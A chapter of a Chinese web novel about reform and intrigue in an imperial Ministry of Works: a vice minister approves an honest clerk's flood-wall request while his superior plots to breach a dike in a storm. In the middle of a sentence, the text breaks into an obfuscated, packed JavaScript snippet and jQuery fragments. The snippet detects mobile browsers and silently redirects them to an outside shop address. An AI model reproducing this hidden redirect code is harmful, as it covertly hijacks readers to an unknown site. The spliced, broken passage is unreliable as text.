雷霆手段的余威，如同一场无声的暴雪，瞬间冰封了整个工部大堂。


    匠头老周捧着那张救命凭帖千恩万谢地离去，留下的，是一众噤若寒蝉的官员。


    他们僵立在原地，仿佛一群被抽去了骨头的泥塑，脸上幸灾乐祸的表情早已荡然无存，取而代之的是一种混杂着恐惧与茫然的复杂神情。


    李澈没有再多说一个字。


    他甚至没有多看他们一眼，只是转身，施施然地回了自己的公房，将这满堂的震撼与思量，留给了这群已经习惯了旧秩序的人。


    他没有关门。


    公房的门就那样敞开着，仿佛一个沉默的漩涡，又像是一只洞悉一切的眼睛，静静地注视着外面那群失魂落魄的官吏。


    僵立片刻后，官员们终于像一群受惊的鹌鹑，悄无声息地散开，各自回到了司房。


    然而，往日里的闲聊、推诿、喝茶看报的景象消失了。


    每个人都坐在自己的位置上，心事重重，沉默得像一座座坟墓。


    那张薄薄的三联凭证，此刻在他们眼中，仿佛成了一道通往地狱或天堂的门。


    跨过去，就要遵循那个年轻人的规矩；不跨，就只能眼睁睁地看着自己手中的权柄，变成一堆废纸。


    李澈坐在公房内，悠然地给自己沏了杯茶，热气袅袅，与门外那冰冷死寂的气氛形成了鲜明的对比。


    他仿佛刚才只是随手拂去了一点衣角的灰尘，而非掀翻了一座衙门的桌子。


    时间，在一分一秒地流逝。


    约莫一炷香后，一阵极其轻微的、带着犹豫的敲门声，终于打破了这片令人窒息的寂静。


    “叩叩。”


    李澈抬眼，只见一个年轻人正站在门口，神情拘谨，既想进来，又不敢踏足。


    他约莫二十五六，面容清秀，一身浆洗得发白的官服穿得一丝不苟，眼神里带着一丝读书人特有的执拗和无法掩饰的紧张。


    正是李澈之前在人群中注意到的那个年轻人。


    “进来。”李澈的声音不大，却带着一股安抚人心的力量。


    年轻人深吸一口气，像是下定了某种决心，躬身而入，双手捧着一份文书，恭恭敬敬地递了上来。


    “下官……下官都水清吏司主事，杜宇，参见侍郎大人。”


    他递上的，正是一张已经填写得工工整整的三联凭证。


    李澈接过凭证，目光一扫，便知此人用了心。


    凭证上申请的是一笔小额款项和三百块青砖，用于修缮城西金水河畔一处年久失修的防汛墙。


    理由、用量、工期，甚至连预估的民夫伙食费都分毫不差，清晰明了。


    这是一个真正想做事的人。


    李澈没有立刻签字，他将凭证轻轻放在桌上，身体微微前倾，问出了几个看似随意，实则刁钻无比的问题。


    “卷宗我看过，金水河那段，土质疏松，寻常青砖怕是撑不过三季汛期，你为何只申请了标准用料？”


    这个问题一出，杜宇非但没有慌乱，眼中反而闪过一丝光亮，仿佛等待这个问题已久。


    “回大人！”他立刻躬身，对答如流，“下官已在备注中写明，拟采用‘鱼鳞交错’砌法，并在砖缝中灌注桃源县新出的水泥砂浆，强度足以应对。若非如此，所需特制石料，款项将是如今的三倍，恐难获批。下官以为，为政之道，当因地制宜，非一味耗费国帑。”


    李澈眼中闪过一丝赞许。他继续问道：“工期十五日，民夫三十人。如今已入秋，河工辛苦，你这伙食费，似乎比旧例还低了一成，不怕民夫怠工吗？”


    “回大人！”杜宇的腰杆挺得更直了，“下官已与附近几处粥棚说好，每日收工后，凭工牌可免费领取一碗肉粥。钱款由下官的俸禄先行垫付。如此，既能让民夫果腹，又能免去生火造饭之繁琐，还能节省一成开支。下官以为，民心可用，不可欺之。”


    好一个“民心可用，不可欺之”。


    李澈终于点了点头。


    他不再多问，提起朱笔，在那张凭证上龙飞凤舞地签下了自己的名字，盖上了私印。


    但在签名之后，他手腕一转，又在那凭证最显眼的位置，多加了一行朱批。


    “所请甚急，所思甚密，着，优先拨付。”


    他将凭证递还给杜宇，语气温和，却充满了足以改变一个人一生的力量。


    “好好做事，工部需要的是能吏，不是庸官。你的眼睛，不要只盯着脚下，也要看看这京城的万家灯火。”


    杜宇接过那张凭证，当他看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216249|187587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到那行醒目刺眼的朱红批注时，这个为了一个小小项目奔走数月、受尽了白眼和刁难的年轻官员，眼眶瞬间就红了。


    他感觉自己不是接过来一张纸，而是接过来一份被看见、被认可的尊重。


    他深深一揖，那声音因极度的激动而微微颤抖，带着一丝哽咽。


    “下官……必不负大人所托！”


    当杜宇手持着这张盖着李澈大印、还带着一行鲜红朱批的凭证，昂首挺胸地走出公房时，所有司房里偷偷观望的官员都看得清清楚楚。


    那不仅仅是一张许可。


    那是一道信号：在李侍郎这里，只要你真的在做事，就能得到支持！


    只要你有才干，就能被看见！


    杜宇的成功，像一块投入冰封湖面的巨石，激起了层层涟漪。


    很快，第二个、第三个官员，也抱着试一试的心态，从积压已久的卷宗里翻出了那些真正利于民生、却因油水太少而被搁置的项目文书，走进了李澈的公房。


    工部衙门那彻底停转的齿轮，在经历了一场剧烈的震荡后，终于发出了第一声艰涩而清晰的“咔嗒”声。


    工部尚书张廷岩的府邸内，亲信正低声汇报着衙门里的情况。


    听闻杜宇，乃至后面陆续有人开始向李澈提交凭证，张廷岩那张总是眯缝着的老脸上，毫无波澜，只是用两根手指，有节奏地轻轻敲击着桌面。


    “咔、咔、咔……”


    那声音，像是在为某个看不见的生灵，计算着倒计时。


    他忽然开口，问了一个毫不相干的问题：“永定河那边，最近的天气如何？”


    亲信一愣，连忙答道：“回大人，司天监说，今夜子时，恐有雷暴骤雨。”


    张廷岩嘴角缓缓勾起一抹冰冷的、如同毒蛇吐信般的笑意。


    “很好。”


    他缓缓站起身，走到窗前，看着院中那棵枝繁叶茂的老槐树，喃喃自语。


    “他以为堵住了库房的蚁穴，却不知道，真正能冲垮大堤的，从来都不是蚂蚁……”


    “而是天威。”


    他挥了挥手，声音轻飘飘的，却带着一股令人毛骨悚然的寒意。


    “去吧，告诉河道上我们的人，做事干净点。天灾，可怪不到我们工部的头上。”